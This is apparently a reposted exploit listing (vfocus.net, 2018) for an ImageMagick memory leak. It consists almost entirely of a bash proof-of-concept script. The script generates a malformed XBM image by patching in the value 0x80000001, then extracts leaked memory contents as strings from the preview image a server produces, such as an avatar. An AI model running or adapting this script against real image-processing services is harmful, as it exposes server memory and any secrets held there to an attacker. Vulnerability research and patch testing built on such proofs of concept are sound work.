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ImageMagick - Memory Leak
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来源：vfocus.net 作者：barracud4 发布时间：2018-11-21
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#!/bin/bash
help() {
echo "Usage poc generator: `basename $0` gen WIDTHxHEIGHT NAME.xbm [minimal]"
echo " Example gen: `basename $0` gen 512x512 poc.xbm"
echo "Usage result recovery: `basename $0` recover SAVED_PREVIEW.png|jpeg|gif|etc"
echo " Example recovery: `basename $0` recover avatar.png"
}
if [ "$1" == "-h" ]; then
help;
exit 0
fi
if [ "$1" == "gen" ]; then
echo "Generating..."
convert -size $2 xc:white $3
sed -i '0,/0x../s//0x80000001/' $3
if [ "$4" == "minimal" ]; then
echo "Shrink to minimal body size mode"
sed -i 's/0x00//g' $3
sed -i 's/,//g' $3
sed -i '/^\s*$/d' $3
fi
echo "Done"
exit 0
fi
if [ "$1" == "recover" ]; then
convert $2 temp.xbm
cat temp.xbm | grep -o '0x..' | xxd -r -p | strings -3
rm temp.xbm
exit 0
fi
help;
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